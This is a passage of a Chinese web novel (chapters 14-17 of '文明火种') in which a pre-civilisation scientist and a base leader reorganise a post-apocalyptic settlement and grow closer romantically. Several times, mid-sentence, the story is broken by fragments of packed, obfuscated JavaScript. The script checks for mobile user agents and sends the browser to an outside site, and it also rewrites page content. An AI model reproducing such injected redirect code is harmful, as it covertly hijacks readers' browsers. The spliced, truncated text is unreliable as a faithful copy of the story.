“别动。”说话间，重新将青年搂进怀里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515670|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “祝先生现在愿意跟我回去了吗？” 没有皮肤上的接触，祝晏的反应便没有太强，他埋下头，声音因为闷闷的，显得比之前更可爱。 “嗯——” 下一秒，腰上的手勒紧，一阵翻天覆地的失重感后，枭手里拎了个笼子，一手抱人，一手抓鸡，像来时那样，在基地高矮不一的房顶掠过。 祝晏在高速移动中抬头，除了男人坚毅的下颌线，只能看到飞速倒退的建筑和街景。 “想什么呢。” 男人的声音自头顶传来。 祝晏：“参照物……” 枭：“什么？” 祝晏：“如果以我为参照物，那周围的一切都在运动，你才是静止的。” 男人垂眸，注意到他微红的眼尾和耳根，在眼镜的遮挡下若隐若现，忍不住笑了一声。 “相对静止。” 祝晏：？ “我在路上看过你准备的教科书，不能说静止，该说相对静止。” “祝先生，严谨一点。” 怀里乱撩人的小狐狸安静下来，重新把头靠上他胸口，半晌，才用微弱的声音哼唧道：“真好……学的真好。” * 基地的高阶异能者们找到了据说是前人类留下的唯一藏宝地，什么东西都没找到，只带回了一个人，一个前文明遗留下的特殊人类，有着年轻的容貌，漂亮的脸蛋，身体柔弱，没有异能。 现在的人类从不使用通讯或者网络，认字的人也不多，所以各种消息，都是靠口口相传。 又因为异能者强大的感官功能和基地密集的人口居住密度，哪怕是口口相传，消息传的也特别快。 高阶强者的车没回来多久，整个基地的人已经对现状有了大概的认识，经过几个专门传信的低阶整理，现在已知的情况有： 1、没有异能的前人类姓祝，现在是首领顾问，地位等同副首领，可以对高阶们发号施令。 2、据说为祝顾问自杀的互助会会长笛权其实是被人杀了，还是祝顾问发现的，第三小队正在追查凶手。 3、祝顾问有种植未变异植物的能力，首领府后面好大一栋几十层的楼挂上了“研究所”的牌子，给祝顾问用，不过几个月，基地就有未变异植物吃了。 4、研究所连上了前文明的老发电机，燃料是现在没有开采来源，用一点少一点的柴油，有些人想反对，但是碍于研究所离首领府太近，没有人敢阻止。 5、祝顾问或许与副首领和基地第四强者银雪有不为人知的关系，进入基地后先住进了C区钟楼，但首领为了掌控前文明的尺度，亲自把祝顾问抓到眼皮底下看着，期间疑似爆发争吵，据首领府附近不知名金姓路人传，首领的衣服都被扯坏了。 听起来好像发生了很多事，但对大多数低阶来说，这些跟他们都没有什么关系。 他们本来就用不起车和柴油，而未变异植物就算种出来了，也轮不到他们享用。 倒是研究所最近需要人帮忙种地，没有像平时那样直接安排低阶干活，而是采用了雇佣的形式，所有人想干就干，想走就走，照样赚能量块，有些在平时被排挤或是觉得安排工作不合理的低阶都离开了原来的地方，选择了研究所。 “首领，研究所必须关闭！” 与低阶相反，许多基地的高阶异能者和前首领留下的老人几乎挤满了首领府，等着枭出面。 14. 文明火种-14 一群人冲进首领府的会议室时，里面坐着四五位第一小队的强者，东倒西歪地坐在桌子旁，盯着长桌上的一盆未变异植物发呆。 那植物不长不短，绿绿的看不出是什么。 为首的前文明老人正是笛老死亡后帮着笛一的那位，他被一起来找首领的人推在最前面，在看到那盆草时忍不住皱了皱眉，见枭放下手里的书，连忙把视线移到枭身上：“首领，研究所到底需要多少人？基地的低阶都去研究所工作，很多区的首领已经没人用了！ ” “哪个区？” 银雪单手撑着脸，懒懒地用手指转着银白色的长发：“怎么我的C区就没什么事？” “那是因为C区的人本来就多！” N区首领怒道：“我们N区本来就人少，高阶都在探索小队出任务，低阶一走，根本没有人干活了！” 基地一共有三十几个区，除了跟随枭推翻前任首领的几个，其他首领中，有的是带领小队立过功劳的探索队长，有的本就是小基地的首领，带着自己的人并入基地。 首领府人手有限，基地允许小首领自己组织人制作能量块，有人因为实力崇拜，完全按照首领府的标准安排低阶劳动，有的人为了利益，则会对低阶更苛刻一点。 N区首领就是后者，他是出了名的吝啬，但他手下的低阶都是自己带来的，后来者有时会被基地老人排挤，因此只能默默承受更艰苦的劳作，有时还要饿肚子。 于是研究所一招人，N区立刻走了大半。 跟着一起来的人也都有或多或少类似的问题，一群人原本还一个一个地控诉，但他们看枭一直不说话，胆子逐渐大了起来，最后所有人的声音都叠在一起，闹哄哄听不清楚。 “研究所不止带走了低阶去种地，他们连探索小队和驯兽场的人都抢！” “我们又要出任务，又要管理分区，现在连能量块都要自己做了！” “祝顾问来了之后，基地发布的任务也变少了，我们的探索小队已经快没有收入了！” …… 众人越说越愤慨，有些人还在往枭身后的房间看，试图找到祝晏这个始作俑者的身影，当面控诉他给基地带来的“伤害”。 而在他们的对面，重岩拿着一沓纸，听着听着，就会在上面打个勾。 待那些人说累了，终于安静下来，重岩把纸拿给枭看。 “让祝先生说对了，这些问题全都出现了。” 为首来找人的老人姓刘，是前任首领的手下，当初他首先投降，又有管理基地的经验，所以枭没有罢免他的职位，还让他参与管理。 他叹了口气：“首领，我也是前人类，按理说我应该替祝顾问说话，但为了基地，我还是要跟您说，祝先生没经历过进化，很多事他都不了解，就算他有养活未变异植物的办法，我们一时间也没法找到那么多的植物种子。” “这个不用担心。” 重岩把桌上的花盆向他们推了推：“涅槃里有很多种子，祝顾问愿意无偿交给基地。” 刘老：“可，可未变异植物成熟也需要很长时间，我们的仓库……” 重岩：“这个也不用担心，祝顾问还带来了营养液，我们按照基地现在的比例用营养液换高阶手里多余的能量块，换来的能量块够研究所种三轮粮食了。” 有的高阶提出反对：“凭什么要换？我……他们又没有那么馋，怎么能换到那么多！” 他们就算手里有能支撑基地低阶异能者多活一年的能量块，也可以都存在手里，营养液换几支解馋可以，怎么可能把手里的能量块都换出去？ “这个也不用担心。” 重岩笑眯眯拿出一管神似营养液的粉红色试剂：“祝先生还研制出了异能提升药剂，高阶换的能量块越多，能卖的就越多。” 众人：…… 祝先生祝先生，怎么都是祝先生…… 被堵得短暂沉默后，有人意识到了重点：“异能提升药剂？” 什么意思？提升异能？ 提升异能！！ 有些人露出不可置信的表情。 但重岩很快把实际收进怀里，伸出手指，放在唇上“嘘”了一声，笑道：“这件事还没有对外公布，诸位不要泄露消息，等开始售卖，我们会对外通知。” 小首领们：…… 他们还想追问，但坐在长桌顶端的枭不轻不重地放下了手里的“问题册”，把头抬了起来。 所有人立即噤声。 “你们今天来，就是要解决这些问题？” 离得近的小首领往纸上看去，见到一片规整又不失风骨的文字，写着他们刚刚控诉过的问题，每一行后面都画着一个对勾。 老人沉声：“首领有办法解决？” 枭：“有。” 他话音落下，会议室的门被打开，只见第一小队的其他成员带着没来闹事的另一半高阶首领出现，重重关上了门。 “从今以后，无论是否出任务，基地都会按时给诸位提供食物和报酬。” 重岩笑笑，温和道：“只有一个条件。” 半晌，门内响起小首领们惊讶的声音：“收编！” * 不远处的研究所大楼，几位有种植经验的低阶在祝晏的指导下，把培育好的幼苗移植进各自新养的土里。 而草木系异能者将手指搭在叶片上，仔细感受，半晌睁开眼睛，兴奋道：“扎根了！我能感觉到，它们都活了！” “真的成了？” 低阶农民震惊地低头，望着自己的手，不敢相信这些样品土是从他们自己养的土地中挖出来的。 “多亏了祝先生提供的土壤养剂！不然我们一辈子也见不到这样的土！” “养剂只是辅助，是你们从地下挖的土和日常维护起了主要作用。” 祝晏摇头：“我会劝首领恢复基地的生态循环系统，以后按时灌溉施肥，就不需要养剂了，但清除变异植物的工作不能松懈。” 在场的众人猛点头：“祝先生给的视频，我们这几天在研究所已经看过好几遍了，生态循环我们自己就能做，您为我们忙了这么多天，请快去休息吧！” 祝晏接受好意，却没有真的去休息，在他们搬运一箱箱幼苗时，转头望向窗外，给众人留下了一个心事重重的背影。 研究所的大家不知道发生了什么，但是在大楼里能看到，几乎所有的小首领都在往隔壁首领府走，进去了就不再出来。 “祝先生一定是在担心基地的其他大事。” 见过高阶强者们接二连三来找他的人们嘀嘀咕咕： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515671|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “太辛苦了。” 人群后，林筝认真地记录着每位试验田负责人领走的幼苗数量，笛一站在他身边，不满地抱臂：“他辛苦什么了，一天的一大半时间都在睡觉，教他们种田知识也是放前文明的视频，不过是配一点药剂，再看看别人养的土而已。” 系统趴在窗台，听见这话，感动得像是遇到了知音。 下一秒，被它寄予厚望的主角受林筝严厉地阻止了笛一：“小一，不要这样说！祝先生的身体本来就跟我们不一样，你根本不知道他承受了什么！” 一旁搬运植物的低阶异能者连连点头：“是啊会长，没有祝先生，我们现在还什么都不会呢。” 笛一：…… 他只觉得憋屈。 搬到首领府好多天了，他不止没有找到机会单独跟枭说话，还被对方安排到祝晏身边做了助手。 而因为他的存在，互助会在各区发展的成员全都投奔过来，这群人是基地里难得不迷信异能和实力，相信低阶异能者能通过团结对抗高阶的人，来到祝晏手下，一身使不完的力气全用在了种地上面。 至于对抗高阶异能者……试验田达标速度比草木系快算吗？ 他现在怀疑，祝晏当天劝枭收留他，就是打着这个目的！ 可是……祝晏做的又是造福全体人类的事，同时给低阶异能者提供了尊重和生活资源，他不能让任何成员离开研究所。 几天过去，看着自己得罪过的祝晏越来越受互助会成员追捧，比吃了苍蝇还难受。 【神圣值：80，恭喜宿主。】 系统叹为观止：“种个地而已，互助会成员给的神圣值好多，不愧是受过教育的人。” 祝晏淡淡的，一点也没有神圣值破8的喜悦，看起来对什么都不感兴趣。 系统：“你怎么了？” 祝晏：“我有点担心。” “确实要担心，神圣值越高越难升，” 系统看看祝晏的表情：“还是说，你担心那些人不同意更改基地制度？唉，早就说让你亲历亲为你不听，反派不好好执行你怎么……” “不是。” 祝晏：“我担心医生的肉-体。” 他看着闪烁各色光芒，显然已经打成一团的首领府：“晚上还要治疗，别给我打坏了。” 系统：…… 他现在也像吃了苍蝇一样难受了。 母鸡骂骂咧咧地扑腾翅膀离开，祝晏扭头打了个哈欠，被林筝和新任保镖阿金看在眼里，连忙劝他回去休息。 等祝晏磨蹭回去，首领府已经恢复原状，重岩用异能修好最后一块墙壁，朝祝晏招招手。 祝晏走过去：“怎么样？” “他们答应了，明天开始，基地更名新联盟，十天之内，三十五个区解散，一半以上的探索小队会被编入军队，基地重新分区后，就可以进行人口普查了。” 重岩戳了戳他怀里的母鸡：“试验田呢？” 祝晏：“达标了，以工人的速度，明晚幼苗就能全部移植。” 留在首领府的强者们都兴奋不已。 真是不枉祝先生在研究所连忙了十多天！ 成熠稀罕地摸了摸花盆里半高的麦苗：“ 小麦，就算那些植物种出来了，你也是世界上最高的好植物。” 15. 文明火种-15 枭整理好名单，也走过来，交给祝晏。 “这是他们的军职，八个将军，十五个中校，现在的小队暂时不解散，等AI消灭了再重组。” 祝晏摆手拒绝，上下扫了他一眼，问道：“用打架决定的？” 枭随手把名单扔给重岩，不以为意地拍了拍落上墙灰的肩膀：“有人不同意，劝他们一下。” 祝晏不轻不重地吸了一口气，不赞成地看着他。 小队其他成员们闻声都放轻了动作，装作认真工作的样子，竖着耳朵偷听他们的声音。 祝晏：“首领……你应该知道，暴力不能解决所有问题。” “但是可以解决现在的问题。” 枭抱臂：“不然你觉得他们能这么快松口。” 小队成员：首领竟然反驳祝先生！ 他完了！ 然而祝晏低头想了想，竟然点头：“特殊时期用特殊手段，我能理解……但这毕竟不是长久之道，很多工作，也不是只有实力就能胜任的，你不止要领导军队，还要让整个基地的人信服。” 枭微微蹙眉：“怎么做？” 祝晏：“要以理服人，以德服人。” 枭：“什么理？” 祝晏：“道理，得到广泛认可，附和大多数人利益的道理。” 男人垂眸，盯着他的额头沉默几秒，伸出手去。 “干什么？” 祝晏在他碰到自己额头前将他的手拍开。 小队成员：祝先生竟然打首领！ 他……不对，首领完了！ 果然，枭冷着脸，绕开他的手，摘下他藏在刘海和眼镜间的草叶：“祝先生可能不清楚，在这个基地，我就是道理。” 祝晏沉默了几秒，突然冷笑一声。 小队成员：冷，冷笑！ 首领是真的完了！ 祝晏：“很快就不是了，首领要做好心理准备。” 枭一点危机感都没有，随意地摆摆手：“拭目以待。” 两人就此各自转身分开，祝晏去休息，枭则要安排未来异能者军队的住宿、训练场地，准备军饷，按照基地人口居住情况重新划定分区，跟前不久被他气跑的前任首领老人商量选拔低阶管理，安排人进行人口普查…… 成员们：…… 这是吵了还是没吵？还有首领在他们看动画时到底看的什么书，怎么说话用词大变样，进步比他们还快！ 重岩加快两步跟上枭的脚步，无奈劝道：“首领，祝先生也是为了你好，他这段时间为了基地累坏了，嗯说话让让他。” 男人莫名其妙冷笑一声，硬气道：“让他一次，以后就能骑到我头上。” 言罢，留下满脸佩服的成员们面面相觑。 晚上，首领府。 硬气的男人手里拿着剪刀，推开了隔壁房门。 祝晏脱了手套，正在一块夜光石下看书，白净修长的手指托在书脊，仿佛融为一体的艺术品。 见他进来，歪了歪头：“首领有事？” 男人晃晃手里的剪刀。 祝晏；“来报复我？” 桌上的夜光石范围有限，昏暗光芒照不到的门口，黑暗中的男人嗤笑一声，一身黑色衣服逐渐走入光圈：“你头发长了，给你剪头发。” 祝晏听了，原本淡淡的表情反而挂上了为难，不信任地抬头，看了眼枭的头发。 枭笑道：“不给你剪这么短。” 他利索地把手里的小盆塞进祝晏怀里：“闭眼。” 祝晏皱眉：“我自己剪。” 男人想了想，觉得祝晏自己一个人在涅槃生活，应该是会自己剪头发的，于是把剪刀塞给他。 青年举起剪刀，横在额头前，就要下手—— 下一秒，被枭抢了过去。 “你会剪吗？” 祝晏：“我看过理发机器人操作。” 枭：…… 他摘下祝晏的眼镜，又说了一遍：“闭眼。” 祝晏这次乖乖闭上眼睛，没多久，碎发轻轻划过鼻尖，又被凝成实体的空气扫走。 他提醒：“别剪太多。” 伴随头顶“沙沙”的剪发声，男人带着笑意的声音在头顶响起：“还挺爱美。” 【滴滴】系统提示：【请宿主注意人设。】 祝晏把眼镜打开一条缝，有些不满：“保持良好的形象是对其他人的尊重。” “是么。” 枭转到他身后，几剪刀解决，用异能将碎发全都送进他怀里的小盆，劲瘦但有力的胳膊横在他脖颈，低下身，在他耳边问道：“祝先生觉得，我够尊重你吗？ ” 耳侧的痒意让祝晏躲了躲，如同每一天的治疗，顺势像小动物一样转身钻进男人怀里，抬头看他：“首领想听我夸你漂亮？ ” 没有眼镜的遮挡，抬眼的小狐狸看起来呆头呆脑，雾蒙蒙的灰黑色眼珠泛着温润的光。 男人治疗了这么多天，仍旧呼吸一窒，打横把怀里的青年抱了起来，自己坐到他的床上，而青年动作熟练地蜷缩双腿，坐在他的腿上。 “这是事实，不用你夸。” 枭斟酌着用词：“我只是想知道，祝先生眼里，我算不算好看。” “好看，” 祝晏如实道，微微上挑的眼角因皮肤的接触泛着浅浅的粉红，宛若含情：“你的脸五官匀称，又有棱角，几乎是黄金比例，黑色的头发也最符合前文明的审美，长腿和肌肉恰到好处，是最受欢迎的一类身材。” 直白得要命。 男人没想到会得到这样细致又满含欣赏的评价，总是平静如水，最近才多了些笑模样的俊脸挂着诧异，半晌才回过神，把头转向一边，却暴露了自己比祝晏这个病人还红的修长脖颈。 声音含着几分愠怒：“你……可恶，你知道在基地，这样夸人代表什么吗？” 祝晏的手钻进衣摆按在他的腹肌，瞳孔因为渴肤症被满足，变得有些涣散：“什么？” “代表你要圈养我。” 男人恶狠狠地将头转回来，扯出祝晏的手：“祝先生，如果你是异能者，我现在就要跟你决斗了。” 祝晏没被他吓到，又换了一只作乱的手：“首领……你杀不了我。” 男人又把他的第二只手拎出来：“我杀你干什么？” 说着，单手握住青年的两只手腕，收紧手臂，按照祝晏的喜好，把他抱得紧紧的。 “决斗输了的人，会变成嬴者的情人，因为是主动挑衅的一方，没有任何拒绝的权力。” 他又收了收胳膊：“所以，不能对我之外的人说这些话。” “我不会。” 祝晏枕着男人胸口擂鼓般的心跳，抬头望进他藏着些许震惊和快意的黑沉双眸，真诚道：“我还没遇到像你一样好看的。” * 次日清晨。 C区迎来了一个大人物，C区首领和一众高阶手下共同迎接。 留在C区工作的低阶异能者不敢靠近，在远处偷看被簇拥在高阶中的大人物，听说他是基地首领，都有些不可思议。 “首领为什么要来C区？我记得首领只管首领府和第一小队，从来没听说过他会来分区！” “你没听说么，基地要有大动作了，昨天所有的分区首领都去了首领府，很多人回去就开始收拾东西。” “我看有人还把东西送到咱们工地呢……也不知道让咱们清理废旧仓库有什么用，这边都是硬的地，仓库里也只有前文明的老古董武器。” “这么说分区首领都要住到这里！这边正好和首领府的A区贴着，他们应该是想住在首领府旁边！” “消息人那里不知道昨天发生了什么吗？” “没听说，可能是高阶不让说吧，快干快干，用异能干，研究所那边也可以做零工，干完了我们去赚能量块去……” 高阶们感官灵敏，一向习惯了听到低阶之间的小声交谈，除非对方说了得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小队成员们最近恰好翻出了一部前文明偶像剧，怕被觉得不务正业，一直在瞒着首领和祝先生偷偷看。 他放低声音，谨慎问道：“首领问这个是要？” 枭沉着脸。 成熠抖了一下，按照偶像剧里的内容如实回答：“前人类很专一，一辈子只跟一个人发生关系，喜欢一个人之后就不会再碰其他人，有时候会故意对情人示弱，还特别不爱主动，就算喜欢，也不说清楚，等着情人主动。” 他想起偶像剧中，早就深爱对方但久久不挑明，任凭误会的男女主，忍不住咬牙切齿：“两个人都抱那么多次了，还说是朋友呢，前人类才不会跟朋友那么亲密！太不坦诚了！” 他每说一条，枭的心情就更好一点，半晌打断他义愤填膺的控诉：“前人类也只会跟情人拥抱？” 异能者的世界充满欺骗和背叛，虽然感情发展得快，前一天见面第二天就能同居，但除非确定关系的情人，不会轻易放心跟其他人做拥抱这样暴露弱点的动作。 “也，也不是。” 成熠挠挠头：“要分怎么抱，他们都贴在一起，差点亲上了！前人类只能跟恋人亲吻的！” 要分怎么抱。 枭想起自己反复翻看的那本医学书上，从未说过渴肤症患者会有“抱紧”的要求，祝晏在他怀里一声声的“再紧一点”便如同情人间的呢喃，引发从未有过的欲-望。 他可以自认为是治疗，但祝晏是前文明的人，如果不是……为什么只愿让他一个人治疗，只在他面前展现变异狐狸那一面。 “不过慢一点也好。” 成熠说着说着，自己原谅了偶像剧的剧情：“试探的过程还是很好看的，等真的亲上了，总该证明他们相爱了吧！” 枭难得对他表示肯定：“有道理。” 16. 文明火种-16 改名后的新联盟基地内，低阶异能者们终于感觉到了祝顾问的存在。 先是三十多个分区各自独立，能量块分配标准都不一样的分区被重组再细分，变成一个个街区，再是首领府开始了对认字和会算数的低阶选拔，被选拔的人被交叉分配到自己不居住的区，负责曾经只有高阶异能者能做的管理和分配能量块工作。 接着是大量的高阶低阶管理挨家挨户敲门探访，询问他们和亲人邻居的名字、技能、仇人，甚至逃难过往，还破天荒给了他们一个名为“投票-权”的东西，让他们在街区中选择信任的，可以代替他们把对高阶强者的要求说给首领的人。 低阶们觉得好笑：他们谁敢对强者有什么要求，更别提说给首领。 但上面要求了，大家还是交上了自己的人选，新区管理一整理，发现还是按照异能实力，几乎每一个街区都还是低阶中的更强者担任传话人。 新设的任务领取处中，管理在给来领奖励的人介绍他们手里名为贡献点的货币：“以后未变异植物种出来，我们的食物就不止有能量块，不适合再用能量块换其他东西，有了贡献点，可以自己决定什么时候去食物站领能量块，领多少，也减少住宅被抢劫和盗窃的可能。” 来领能量块的低阶听得云里雾里，就听懂自己要多走一趟食物站，敢怒不敢言，嘀嘀咕咕离开了。 刘老在一旁看着，眉头紧锁。 “刘爷爷，这不好吗？” 忙碌的笛一难得休息，站在刘老身边。 这些改变有些是枭决定的，有些是研究所安排下去的，其中还有他在研究所给祝晏做助理时的手笔，见刘老哀声叹气，他忍不住好奇：“你为什么很不开心？” “贡献点，不就是前文明的钱……” 刘老连连摇头：“这些改变短时间看来确实很好，但是时间一久，高阶手里的贡献点只会越来越多，接着用大量的贡献点囤积食物，囤积土地，低阶只会越来越穷，回到前任首领统治的模样。” 笛一想起前任首领时期作威作福的贵族和高阶低阶异能者被装在笼子里随意买卖的场景，面露嫌恶：“竟然是这样！我还以为他是好心！” “可能是好心，但到底是前文明的人，没有接触过基地。” 刘老无奈摇头：“首领还是太年轻了，就这么让他做了基地的第二首领……更别说现在还有了异能提升药剂，高阶只会更强，低阶买不起药剂，迟早会成为他们的奴隶。” 对方虽然在说好话，但笛一想起首领对祝晏和他态度的区别，就更加生气：“我才不信他是好心，他就是背叛了低阶，还把我们互助会的人都快抢走了！” 刘老任笛一站在原地赌气，继续摇头，继续唉声叹气。 * 研究所，林筝正在帮祝晏整理人口普查的儿童情况。 分区改得差不多，祝先生在着手准备办学校，在与首领和副首领反复拉扯争执后，最终决定将十六岁以下列为未成年人，除非特殊情况，不能出基地探索，不能接取任务。 他一边整理，一边摇头：祝先生某些时刻的坚持，都单纯到有些天真。 基地很多孩子不到八岁就被父母放出来工作了，异能不遗传，很多强大异能孩子，甚至承担着整个家庭的食物来源，这个决定还没有对外公布，一旦公布，不知道会有多少人反对。 见笛一气冲冲地往回走，他连忙伸手拦住，指着走廊深处的祝晏私人实验室：“祝先生在跟人谈话，你先来这里跟我写表格。” “跟谁啊？” 笛一转头看过去，有些意动：“首领吗？” “不止，都是高阶，反正你别过去。” 林筝不由分说，把一大沓的纸拍进他怀里：“你把已经能认字的孩子念给我听。” 走廊深处，祝晏正在对异能提升药剂做最后的临床实验，不远处是在训练结束的新任将军们，名头换了，却不见多大长进，凑在一起看偶像剧。 身后，是什么都看不懂，却还跟在后面的基地首领。 很烦…… 药剂早就成熟了，做临床实验只是为了拖一拖进度，这些人在，偷懒的理由反而成了枷锁。 系统忍不住幸灾乐祸。 本来它对这两个人擦边的“治疗行为”都麻木了，可最近枭不知道犯了什么毛病，总是在非治疗时间出现，也不忙着治疗，就坚持在祝晏面前晃，有时凑过来展现一下优越的下颌线，有时靠的很近，一副要向祝晏请教什么的模样，实则是给他看黑色T恤下的饱满肌肉。 一个反派，基地最强异能者，竟然用身体勾-引普通人，简直是倒反天罡。 祝晏一开始还挺开心，经常聊着聊着就跟他贴一起，谁知第一小队发现了他们见面增加，总是很没有眼色地跟过来，美其名曰方便问问题。 但实际上还是沉迷影视剧，除了给祝晏添堵，没有任何作用。 “首领……你的工作都完成了吗？” 祝晏宁可不“治疗”，也想让枭把他们带走。 “做完了。” 男人邀功一般：“所有的岩系异能者一起，一个晚上就盖了五百个粮食站。” 祝晏：…… 这群不用睡觉的老牛。 针管扎进变异兔的血管，兔子的钢牙和四肢都得到了明显的强化，却不再发狂，啃菜叶啃得比原来还有劲。 结束了。 祝晏坐在椅子上，观察兔子对药物的反应。 不远处的成熠用手肘戳了戳银雪：“你说为什么祝先生总是用兔子实验？他那么像兔子。” “兔子繁殖快，免疫反应灵敏，生理周期和人类相近。”银雪淡淡道。 “银雪！”成熠瞪眼：“你也背着我们跟祝先生学习了！” 银雪无奈地指了指投影里的药学教授男主：“他刚说的，你都看了什么？” 成熠：…… 他在恨铁不成钢地埋怨男主跟女主装不熟，说些乱七八糟的。 看来除了男女主互动，偶像剧的其他内容也有用，难怪祝先生和首领发现他们看这部剧时没有生气。 成熠集中精神，不敢再分心。 而另一边，他以为在跟祝晏偷偷学习的枭将手搭在祝晏的椅背上，微微弯腰，保持一个亲密又不算冒犯的距离，漂亮的肌肉线条随动作伸展：“药剂的效果能坚持多久？” “六个小时，如果需要，也可以制作短时和长效的，只是长效的副作用更大一点。” 祝晏推了推眼镜，回答得公事公办，却在心里跟系统闲聊：“我感觉有点倦了，他的身体已经吸引不了我了。” 系统反应平平：“哦。” “我说真的。” 祝晏听枭转移话题讨论人口普查，便也配合他，跟他说起了身份证的重要性。 但说着说着，两人都沉默了，男人专注地望着祝晏的眼睛，仿佛有什么要呼之欲出。 祝晏：…… 他垂眸扶了扶镜框，手肘不经意划过男人胸前的布料：“身份证明的首版已经做出来了，首领要看吗？” 系统：“你不是说倦了吗？” “是对他的身体倦了。” 祝晏站起来，带着男人走向隔壁的空仓库：“所以需要一点新的刺激。” 它就知道！ 系统无语地关闭视觉功能，眼不见心不烦。 身份证明的仓库没有系统想象中那样不堪，祝晏还记得自己的理由，给枭展示系统替他批量制作好的身份证：“把异能在这个位置注入，材料就会被元素侵染，呈现独一无二的颜色。” 男人深深地看着他：“祝先生……这段时间辛苦了。” 祝晏毫不心虚：“首领是想要犒劳我？” “祝先生想要什么犒劳？” 枭拿走他手里的素卡，扔进盒子，顺手按在他耳侧的架子。 前文明把这个动作叫壁咚，偶像剧中，男主做了这个动作，女主立即脸红心跳，害羞低头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515673|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但祝晏不太一样，他坦然抬头，镜片的反光遮住了灰黑色的双眸，但即使不看，枭也能想象到，那双仿佛蓄着泉水般澄澈，又因为寻不到焦距而显得懵懂的眼睛。 一个人摘下眼镜和戴上眼镜，气质怎么会有这么大的差距。 任何人，都会更愿意相信，藏在眼镜下小动物一样的柔软，才是他真实的样子。 枭如同往常，摘下他的眼镜。 试探着压低，挑衅一样让自己的呼吸侵占对方周围的空气。 “像他们看的视频那样？” 男人故意又靠近了一点：“祝先生没有觉得，我们很像他们吗？” 说着，他把手伸进祝晏手套边沿，向前推着替他脱下，最终十指相扣：“从简单的接触……” 趁祝晏还没有主动扩大接触面积，他松开手，张开双臂，把对方扣进怀里：“到拥抱。” 祝晏平静的声音替他说出口：“到亲吻？你想亲我？” 枭经历过太多次，已经习惯了祝晏的直白。 他望进那双因近视显得格外沉醉迷茫的眼睛，几乎是明示着，拇指在他的唇上轻轻摩擦：“愿意吗？” 祝晏随着他的手指追过来，小猫一样埋头蹭过来，让男人抚摸他的侧脸：“这也是治疗的一部分？” 神奇。 知识渊博的，无所不知的祝先生，竟然会不清楚自己的病要怎么治疗？ 枭想起两人在涅槃的第二次谈话，青年的眼睛反射冰冷的机械银光，说着“我能自己克服”的话。 他现在几乎可以确定，自己在祝晏这里，就是特别的。 那么是不是治疗的一部分，已经不重要了。 他难得失去控制和理智，抓住祝晏两只抚向他腰际的手，按在头顶，作势要吻下去—— 却被突如其来的异能气息打乱。 枭眸光一沉，异能瞬间封存整个仓库，两人这才转头看向来人。 资料和名单散落一地，林筝站在门口，鼻腔因为对方的异能而无法摄入氧气，却还瞪着猩红的双眼，从牙缝里挤出几个字：“你……放开祝先生！” 基地最强，恐怖如斯，如果不是现在这个场景，凭借林筝不畏强者的态度，枭或许还会高看一眼。 但他现在的脸色难看的要命，完全没有收回异能的意思，看起来想直接杀了林筝。 这在出发去涅槃前，并不是罕见的事，但从遇到祝晏，高阶强者们，好像很久没有杀过人了。 “首领……” 祝晏皱眉，开口提醒。 “祝先生跟他关系不错。” 男人冷笑：“第二次了，你为了他跟我反目。” “反目不是这样用的。” 祝晏的手还被他按在头顶，手指用力扣向男人的掌心：“我和你一直站在一边。” “不要这样。” “枭！” 下一秒，空气恢复如常，林筝跌坐在地上，双手颤抖着放在胸口，眼白充血，大口大口地呼吸。 祝晏连忙蹲下扶住他的后脑，让枭再次沉了脸。 祝晏回头，语气严肃道：“首领，我跟你说过什么？” 男人不甘心地动了下嘴唇，最终回答：“以理服人，以德服人。” “你先回去吧，我跟他解释。” 祝晏看起来好像生气了，不再看他。 枭仍旧站在那里。 祝晏：“？” “别叫我首领。” 男人不满道：“像刚才那样叫我。” 祝晏手上帮林筝顺着气，带着怒意的眼睛看了他一会儿，安静的空气中，林筝突然抓住他的手腕，使劲摇晃。 像是在请求他不要开口。 以防男人再次破防，祝晏宛若对熊孩子束手无策的溺爱家长，叹了口气：“枭。” 男人心情看起来没那么糟了，走过来，半跪在一边，在林筝满怀恨意和诧异的视线中，熟练地给他戴上眼镜，随后，听话地大步离开。 17. 文明火种-17 林筝扶着胸口，不等把气喘匀，就抬起因为愤怒而颤抖的双手，紧紧握住祝晏的胳膊。 “祝先生！他，他怎么能这么对你！” 祝晏松开扶着他的手，轻轻拍了拍，示意林筝也松手，接着，作势要去捡林筝掉下的名单。 还没完全恢复的林筝见状，抢着起来去收拾。 “林筝。” 